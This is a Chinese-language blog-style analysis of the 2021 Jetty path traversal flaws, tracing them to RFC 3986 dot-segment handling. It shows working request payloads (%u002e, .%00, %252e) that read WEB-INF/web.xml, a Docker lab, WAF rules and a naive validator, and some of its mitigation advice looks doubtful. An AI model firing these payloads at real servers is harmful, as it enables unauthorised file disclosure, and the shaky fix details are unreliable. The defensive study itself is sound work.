Jetty 9.4.37-9.4.42 路径遍历漏洞深度解析:从RFC 3986规范到3种绕过手法复现
Jetty路径遍历漏洞全解析:从RFC 3986规范到实战绕过技巧
在Java Web开发领域,Jetty作为轻量级高性能的Servlet容器和HTTP服务器,凭借其模块化设计和嵌入式特性广受开发者青睐。然而2021年曝光的CVE-2021-28164和CVE-2021-34429漏洞却揭示了其在URI规范化处理中的深层安全隐患。本文将带您深入剖析漏洞背后的RFC规范原理,并通过三种独特绕过手法还原攻击全貌。
1. 漏洞背景与RFC 3986规范解读
RFC 3986作为统一资源标识符(URI)的通用语法标准,其第5.2.4节明确定义了点段(dot segments)的处理规则。所谓点段特指路径中的.(当前目录)和..(父目录)符号,规范要求这些符号必须在解析过程中被移除,仅保留其代表的层次关系。
Jetty 9.4.37为实现RFC合规性引入新的URI规范化逻辑时,开发者做出了一个关键假设:URI中的路径分隔符(/)必须显式存在才能进行路径遍历检测。这个看似合理的假设却埋下了严重的安全隐患。
关键点:RFC规范要求URI解析器必须处理以下形式的路径:
/a/b/./→/a/b//a/b/../→/a//%2e/→/./→/
实际测试表明,当访问http://vuln-server/%2e/WEB-INF/web.xml时:
- Jetty首先对
%2e进行URL解码得到/. - 规范化逻辑错误地保留了该路径
- 最终成功访问到受保护的WEB-INF目录
2. 漏洞利用的三重奏:绕过手法详解
2.1 Unicode编码绕过(%u002e)
Unicode编码提供了一种精妙的绕过方式。%u002e是.字符的Unicode表示,这种编码形式在Jetty的早期处理阶段会被特殊对待:
GET /%u002e/WEB-INF/web.xml HTTP/1.1 Host: vuln-server:8080处理流程对比:
| 处理阶段 | 正常请求 | 恶意请求 |
|---|---|---|
| 初始URI | /WEB-INF/web.xml | /%u002e/WEB-INF/web.xml |
| URL解码 | - | /.//WEB-INF/web.xml |
| 规范化 | 阻断访问 | 错误保留路径 |
| 结果 | 返回403/404 | 返回200 OK |
2.2 空字节截断(.%00)
空字节(%00)在多种编程语言中具有特殊含义,常被用作字符串终止符。Jetty在处理包含空字节的路径时会出现解析歧义:
curl -v http://vuln-server/.%00/WEB-INF/web.xml技术细节:
- 空字节导致规范化过程提前终止
- 安全检查逻辑被部分绕过
- 文件系统API处理时忽略空字节后的内容
2.3 双重编码技巧(%252e)
通过二次编码%字符本身(%25),可以构造更隐蔽的攻击向量:
原始:. 一次编码:%2e 二次编码:%252e这种手法能有效规避某些WAF设备的检测,因为多数安全设备只进行单层URL解码。
3. 漏洞复现环境搭建
使用Docker快速搭建漏洞测试环境:
FROM jetty:9.4.40 COPY webapp /var/lib/jetty/webapps/ROOT EXPOSE 8080关键配置项:
jetty.httpConfig.uriCompliance=RFC3986jetty.servlet.checkOtherSessions=false
启动命令:
docker build -t jetty-vuln . docker run -p 8080:8080 jetty-vuln4. 防御方案与最佳实践
4.1 官方修复方案对比
| 版本 | 修复措施 | 有效性 |
|---|---|---|
| 9.4.39 | 增强UriCompliance检查 | 部分有效 |
| 9.4.43 | 引入DenyUrlEncodedSlashRule | 完全修复 |
| 10.0.0 | 重构URI解析引擎 | 根治问题 |
4.2 临时缓解措施
对于无法立即升级的系统,建议配置:
<Configure class="org.eclipse.jetty.server.HttpConfiguration"> <Call name="addCustomizer"> <Arg> <New class="org.eclipse.jetty.server.ForwardedRequestCustomizer"/> </Arg> </Call> <Set name="uriCompliance">LEGACY</Set> </Configure>4.3 深度防御策略
输入验证:
public static boolean isSafePath(String path) { return !path.contains("..") && !path.contains("%2e") && !path.contains("%252e"); }权限控制矩阵:
资源类型 默认权限 建议权限 WEB-INF 禁止访问 400 Bad Request META-INF 禁止访问 403 Forbidden JSP文件 仅执行 拒绝直接访问 WAF规则示例:
location ~* "/(WEB-INF|META-INF)/" { deny all; return 403; } location ~* "(%u002e|%2e|%252e)" { deny all; return 400; }
5. 漏洞挖掘方法论延伸
从Jetty漏洞中可以提炼出通用的安全审计方法:
规范对比测试:
- 对比RFC标准与实现代码的差异点
- 特别关注边界条件处理
编码变异测试:
- 测试所有已知的编码形式(UTF-8、URL编码、Unicode等)
- 尝试混合使用多种编码方式
解析器一致性检查:
def test_parser_consistency(parser): cases = ["/a/b/../", "/a/b/%2e%2e/", "/a/b/..%00/"] for case in cases: if parser(case) != "/a/": raise VulnerabilityFound(case)
在实战中发现,许多中间件漏洞都源于规范实现的不完整性。安全研究人员应当培养"规范驱动测试"的思维模式,从标准文档中寻找可能被误解或忽略的细节要求。